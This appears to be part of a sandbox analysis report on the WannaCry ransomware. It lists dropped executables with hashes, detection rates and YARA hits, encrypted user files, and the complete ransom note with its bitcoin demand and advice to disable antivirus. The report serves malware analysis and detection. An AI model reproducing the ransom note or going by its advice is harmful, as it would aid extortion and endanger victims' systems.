                                                                                                      Preview:WANACRY!.....8"'....].~>(...*PdIf.'.m>...2.0.`p...^...#I|..<.W.B.=....M..zxFp....0e...P...."....nhB)>....B..}.[d$......,...8.....k$.....S.w+.....N.....p/...Y.LC......9L.\!u...?hH".<d..dS%A.......Iu...nEi7I.....8.V..:F....-...,........\....}..`1?..m..5g.I'..................q.\..9`..t.....a......(|.8.L....67.gjrS.|.e...f.Fi......\...r.k.!d......8.'g1y+..'.i1t.L.>.u..:......<.fN.:Tf{..M.....W....._......_:...rR(.M..A?:...H.W.....=l......r..f..JX...:.z.rC.....f.X Qx.4....2....&w+..&kDqFU..u.............Sg..4k..<5.Zd$F.ED...1.S.d.. .eW.i....p.2..&.~S.l.R8$&q.L3.<.2....x ..by.zO.w. .hs.q.....I.1..D.F...J).&.....SD..v..m...V.....G...B`.u>K@.\_N......#.|..w.....Z.).X..[..o.(.'.~.nq.hq1.....:!.Q.P...c.KA,.3..m...j>.X.;..<.*."AU..R....Y....d]....U....).@...Q....|K.=.d.cI.x.....O...\(.%}.j..YG}...i.....R..j.`..9...5.....o..U...xu>+.$y...z... ...5......s..e...G...W.".T.'..iH..B.Sl...h..7B..E.8.....K.bRm...FE..W'_Q1...... ...A.5.}..%.../^VL.;.".w

                                                                                                      C:\Users\user\Desktop\taskdl.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20480
                                                                                                      Entropy (8bit):3.1664845408760636
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:Udocv5e0e1wWtaLYjJN0yDGgI2u9+w5eOIMviS0jPtboyn15EWBwwWwT:6oL0edtJN7qvAZM6S0jP1oynkWBwwWg
                                                                                                      MD5:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      SHA1:47A9AD4125B6BD7C55E4E7DA251E23F089407B8F
                                                                                                      SHA-256:4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79
                                                                                                      SHA-512:4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 96%
                                                                                                      • Antivirus: Virustotal, Detection: 88%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=..y..y..y......x......r......x......}.....z..y..Q..O..x..Richy..........PE..L...W.[J.....................0............... ....@..........................P...............................................!..P....@............................................................................... ...............................text............................... ..`.rdata..z.... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\taskse.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):20480
                                                                                                      Entropy (8bit):2.5252509618107535
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:UjpvOHheaCDCNIOgTegoddPtboyX7cvp0EWy1HlWwr:UjVWEam7ofP1oyX7olWUHlW0
                                                                                                      MD5:8495400F199AC77853C53B5A3F278F3E
                                                                                                      SHA1:BE5D6279874DA315E3080B06083757AAD9B32C23
                                                                                                      SHA-256:2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D
                                                                                                      SHA-512:0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 89%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#O..g.v.g.v.g.v..2x.f.v..1|.l.v..1r.e.v.!+.d.v.g.w...v.Q.}.f.v.Richg.v.........PE..L.....[J.....................0......L........ ....@..........................P..............................................| ..<....@............................................................................... ..`............................text............................... ..`.rdata....... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Desktop\u.wnry

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Yara Hits:
                                                                                                      • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Users\user\Desktop\u.wnry, Author: Joe Security
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Users\user\Desktop\u.wnry, Author: ReversingLabs
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Documents\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\@WanaDecryptor@.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805951891785916
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Phn40x9yu8CtWNweW7wIIdHbOVtkFfNa7BhbgyZyynge:Pa00VNweWMhdHbgMa3g5e
                                                                                                      MD5:47A92D09D2AA4B0B9952FA34EBEE47E0
                                                                                                      SHA1:BE791EE43781DF1D6D022D311D73B11D475F5FEA
                                                                                                      SHA-256:4AA44F00032F6E5C8CFA063EBFB1F546BBFDB5AB0A46A8D7164C4442D70B5AA0
                                                                                                      SHA-512:6E2B941E1188C20DB1D00EF15BC1AAAE2642049B56041083A56E43EE24D8BAB5953502F3E3E5A490C03F76ECC70B21021FBC3180262A438181EAFD38CF3654CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...z.'....n..d.9.!..B..5...y......-.r2.d..y.o.z.3...^..s....?[...I-.F.......S.g..%.#......I.rO".....<.j.~..e.t..9;.......b........jj,..9....l{..&..I.@..2.$....ou.d.&.XC.:. .].n..".._L?b%.Aw.4"|...-m.#X87.K^.o.b)...;.o.6.....#.m....\.zj..:kb.Y..$........h....s..d...1[.......ip.m.0....iO5.0Nsx]b.l....N7v.73P.|..Z....?PF..M4<.E..G.s}%..........%'..h.+...:k..K)1x B..U.g..q;.....C.^.!./.) eb.fxV..`....N.j.1..Z.9.......i...fw.a0h.....8.b..l.x...x...'w.^.^/v...{...|p.I....n.Y$)....Q9....^:l:. ..;>.....Q....@..&.G......|.Qd.&.>.C...m.B).SD.T..L ....M....H...j)c.eP.Ri.F..mJD.........{....my.......=...3c/<.J....[9.z7. ..s,g.>m...|$..Az.....E^...x.....p.....voU........oD..L....#._).i..|.....E.7K%......o...1...M+A.s....Xv.......Tz..c.T..Dy.......R...i.(UK.D.......C..Hw<......<..Z..I.'W...i..RG..e.##.u.Ht.C....S..U..v.....l.k`.`.:.(7.TH%..e.~...6..+*.jN'....S.....o....G.p...j.....x!....q._.....dC.D.&......JEg.....E.......5N3........e|h...2..H....'.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851402644024139
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQbyjHHu8h8VqAp0mywNq+iY7+H39JnLB86etQRoXSl7EQXyqKmizQB:bkDnBhlAp0gNq+i1Dn1at4EC1Kmv
                                                                                                      MD5:555BE4A1511CE0BAAE026736F11B8160
                                                                                                      SHA1:F11CCEAE62FCAD5A33C180D1997588B6C09A2856
                                                                                                      SHA-256:F489DABB44CCD0324D4F53E760590D226746F3BDD83ACF858A177464848D4ECB
                                                                                                      SHA-512:DAA1547498193604C3A3C93BF54F511F3079FDF42D4D95964A7E07DAFD315228C72D387D051F9E1678BDE75DD978B44B6EB68D4B268B967BC1467B24954C8931
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....Yc..'6d.k...~O:.'......Ajf..........A."<>.}........P25O...S....J...*.p.#.m..'..!......H........^.$h.o5.V.....5....t....V..L.n3V.dp.".a...~?$.....$u..E.f_.Z.g.|J|."I.....g..&L..D,...8.Z.^.....go..jl......'D.. ....&.?...9Ip..."....|....~!..F...k..6."..............T\.%...7.K{s...v...W.gk7....2..t.....-..y....]..g...0@...L.e..x.g......?W.,.X@.I....X.y..n..={E..o..7$.&.SB..D..'.1O..hsHA$.....I+....U5.Y...TBJ.$...r.......x.H..=.:^2....R./.R.\.!.$wP...g..Nf.........}54&T..gJ....8}.5..v....OG....=..Y$.=n7.#.8J3..Z..KwN....`#E...1.......\..>Qb2..wD{".g.~.X....Hp?.85e.3NQ:...&..0p43V9..J$..w.<....J....FT.c?........N......pk".<r.K....5..w....?...8...6.B....L..s.)q......a:.*.... .[.y.........+.t..65IH'.uo.hBb`.......H".o....W....zf.9<.....J..L[...w.q.+S.....8..L.h.:W.zS...g.W.-%.^."i.:....u...."...pStY!...X..\|..(..%.s....@ ....0"...W...P....!.J......a#.0.h...\....,.#kQU.....|..Zw.QC...t..,.1{+....4x.fO55.dSB./...a...&.l...8....2..=f......0.|? h.&.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851402644024139
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQbyjHHu8h8VqAp0mywNq+iY7+H39JnLB86etQRoXSl7EQXyqKmizQB:bkDnBhlAp0gNq+i1Dn1at4EC1Kmv
                                                                                                      MD5:555BE4A1511CE0BAAE026736F11B8160
                                                                                                      SHA1:F11CCEAE62FCAD5A33C180D1997588B6C09A2856
                                                                                                      SHA-256:F489DABB44CCD0324D4F53E760590D226746F3BDD83ACF858A177464848D4ECB
                                                                                                      SHA-512:DAA1547498193604C3A3C93BF54F511F3079FDF42D4D95964A7E07DAFD315228C72D387D051F9E1678BDE75DD978B44B6EB68D4B268B967BC1467B24954C8931
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....Yc..'6d.k...~O:.'......Ajf..........A."<>.}........P25O...S....J...*.p.#.m..'..!......H........^.$h.o5.V.....5....t....V..L.n3V.dp.".a...~?$.....$u..E.f_.Z.g.|J|."I.....g..&L..D,...8.Z.^.....go..jl......'D.. ....&.?...9Ip..."....|....~!..F...k..6."..............T\.%...7.K{s...v...W.gk7....2..t.....-..y....]..g...0@...L.e..x.g......?W.,.X@.I....X.y..n..={E..o..7$.&.SB..D..'.1O..hsHA$.....I+....U5.Y...TBJ.$...r.......x.H..=.:^2....R./.R.\.!.$wP...g..Nf.........}54&T..gJ....8}.5..v....OG....=..Y$.=n7.#.8J3..Z..KwN....`#E...1.......\..>Qb2..wD{".g.~.X....Hp?.85e.3NQ:...&..0p43V9..J$..w.<....J....FT.c?........N......pk".<r.K....5..w....?...8...6.B....L..s.)q......a:.*.... .[.y.........+.t..65IH'.uo.hBb`.......H".o....W....zf.9<.....J..L[...w.q.+S.....8..L.h.:W.zS...g.W.-%.^."i.:....u...."...pStY!...X..\|..(..%.s....@ ....0"...W...P....!.J......a#.0.h...\....,.#kQU.....|..Zw.QC...t..,.1{+....4x.fO55.dSB./...a...&.l...8....2..=f......0.|? h.&.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805410751506385
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:hr0GZL6NYvyzxnaT3gt9w1G8y7xRJtfLZq:h4GZL6Gvyzgjq9w1ATfzc
                                                                                                      MD5:67852A9309B15BD33A7465FF99682444
                                                                                                      SHA1:4D2BC4D32C5C052D8833E1F0910B70078917245B
                                                                                                      SHA-256:C00193E6D01A8FCB2562582FE1007D4A7157B48A72E8FAA626A35321DF814515
                                                                                                      SHA-512:7C74F2C1A556E247A3F867809506D745DADA3952F44DF536A5A3F68DBAFFC1D7AF63E4542EB284D7EE4BC9A166446C834D01B1EEEFF556775BA2D004ECCEA66B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...c.I\*..8.<,.....>}..3..q..U.....t..<.=.7.B....l....Z.5k.U.:.3...K-F..i....8...:.....NB.z..kpN.[...O..>_.k.#...t.$.a.}...B....C.h..l>M..e....]W....5.q..h.t..t...9.N.<..An...M......A.u........y.TKy.._...:G.r.....BZ.~...+m...../.L....',........R...w.K..].....'.hv....G. .9....>.....pVfT..c..f.:.._x..p.@..1+R.h14."...5o......v|....?..G.:p...f.....T.h...a..s/..'K..=.k.r.`.e....@..........D;...k..n.......j.../...c....k...k|.n......G..l/.J...*.....(U.vG.MUs..}.....n....:....g...?&...Q...i%m..p.o ...X1O.4...;....!K..F`.B.?.D..O.m@~M.....P...py:1....oi...i..5.E6F...Q..d.4...Q......a......0.4.&!i...R.l+.6............h..9(!.Bq..Qe..f..CYac.w..}.+.....^:.o..N..@...-..?9..Q.I.s..Z.]3T,r:.,..0...*....F`h..S'%m.(.I.......1..v......Q.~..N..%............hI.......r....;..`r0,.C..D....i....d.;G.....z4?...)"C.....Tyw.Ca.0G....?.....c...}'@..&L.x}..._?./.QG5.v.$a..R......h......fr.zx.o...H6r.d.p*-t.`F...^...#.&.F>.0..h...{<L....wv..Q....#.

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86682687529227
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkP8o4QxPJ1V6rQXUGHtD8DU2+IvBS9oLAMb1b6nIuRo4dNFYtAnTL:bkP/NxPjrUGHheLbvBNLA0+ICdc4
                                                                                                      MD5:75D8B92BEED72FD6A97DE1A3DEF200C3
                                                                                                      SHA1:28419EC300730A63DD075561E1778492B5AF9134
                                                                                                      SHA-256:223436BC1F9AEB00D46A20A68B1529681203B7833EDBDBDBCDD41A0AF7F12CF9
                                                                                                      SHA-512:2147BC813011D7C7F3743BBB039CD38ABDEE72A2AED63D7F076195D1534CF548D972EAB6AF9F53F7BF1AF32E68C6C49C11F75F21ABF21B6AFB20EA4BFC3B1BD2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....i.f>....k._.u.z..e.E/b[..3.p..+(.-YAA7.;..x.%j.;....O..C}...~..Tp....G..Y+..#..?.".....'.........d.=..q..lN.|.g..:.+.r4..T"9.h..?.~.&....J.H...?.;.L...wZ/..D0.z.o.j8.g=......eO..0d.ML..d..........!..m.Y...d...\..[.au8..B.%'..u.l..|&..6P.!!az.............H..g..B....O..%&.2.zt.LSn.~H..Vv<..Uw..z...,u.&..?..1.....t..e.m..J..8;..:J.m..I@U_.A.t#.".H.;..QI.M....m! .....r..qQIq.MU.$=)....{......V78G...^:.O.`...L........o............!8.....1........h.2|.3.~.D*.:.....pb....(i.0.g....U.o.b+.jS......=A........w#..D...A......@....|..s%..c.<......*. .Z..{.]Z\=..zP}Z.1.......$.h..%K2_..07.O..=.....0..e...71...-.e.QV.Ds../R..=.r^R..94..z....-.5..I[&.&..4W..#\..!...Y<....K..s............;.q..xP@]..z.J[.U5(.@.B.)....os...24...|..u../...-.7......K.....T.....@..8..$......pH..V...1.*}....q.oN..4.......U.j.f.......na.....#..2.Qv.....(......8...qY............G.9'...........c.T...kAMP".@.Fya..#`I{..,..n%.......7.O.?._o.I.&..7p~..fM*tY.....f..$....7

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86682687529227
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkP8o4QxPJ1V6rQXUGHtD8DU2+IvBS9oLAMb1b6nIuRo4dNFYtAnTL:bkP/NxPjrUGHheLbvBNLA0+ICdc4
                                                                                                      MD5:75D8B92BEED72FD6A97DE1A3DEF200C3
                                                                                                      SHA1:28419EC300730A63DD075561E1778492B5AF9134
                                                                                                      SHA-256:223436BC1F9AEB00D46A20A68B1529681203B7833EDBDBDBCDD41A0AF7F12CF9
                                                                                                      SHA-512:2147BC813011D7C7F3743BBB039CD38ABDEE72A2AED63D7F076195D1534CF548D972EAB6AF9F53F7BF1AF32E68C6C49C11F75F21ABF21B6AFB20EA4BFC3B1BD2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....i.f>....k._.u.z..e.E/b[..3.p..+(.-YAA7.;..x.%j.;....O..C}...~..Tp....G..Y+..#..?.".....'.........d.=..q..lN.|.g..:.+.r4..T"9.h..?.~.&....J.H...?.;.L...wZ/..D0.z.o.j8.g=......eO..0d.ML..d..........!..m.Y...d...\..[.au8..B.%'..u.l..|&..6P.!!az.............H..g..B....O..%&.2.zt.LSn.~H..Vv<..Uw..z...,u.&..?..1.....t..e.m..J..8;..:J.m..I@U_.A.t#.".H.;..QI.M....m! .....r..qQIq.MU.$=)....{......V78G...^:.O.`...L........o............!8.....1........h.2|.3.~.D*.:.....pb....(i.0.g....U.o.b+.jS......=A........w#..D...A......@....|..s%..c.<......*. .Z..{.]Z\=..zP}Z.1.......$.h..%K2_..07.O..=.....0..e...71...-.e.QV.Ds../R..=.r^R..94..z....-.5..I[&.&..4W..#\..!...Y<....K..s............;.q..xP@]..z.J[.U5(.@.B.)....os...24...|..u../...-.7......K.....T.....@..8..$......pH..V...1.*}....q.oN..4.......U.j.f.......na.....#..2.Qv.....(......8...qY............G.9'...........c.T...kAMP".@.Fya..#`I{..,..n%.......7.O.?._o.I.&..7p~..fM*tY.....f..$....7

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.808795129701552
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:U60BQOo4zVWBNdTV7VgJdb3VDTKZRbJxFqHsBPXbj:d0BQOoMVAXOJd1TqV7Eyvbj
                                                                                                      MD5:A65A2422629A6FF64C9DBBDD86905E33
                                                                                                      SHA1:7723B7649E911E30644FBB9301B69356E9A5CC13
                                                                                                      SHA-256:F3AD2DCC90F6CFB00CA8D2FF001BE3D221F8E45BCD867E21CD33CA8B5AB81DD1
                                                                                                      SHA-512:CB09ADE03FB13C1F2A4E7AC8960B6B853191AA40B1076C05D9936E869DE13FC58A61A6FD56CFB87374CE43BA31E3B44495525BA78203BF40555357F772F58E1A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
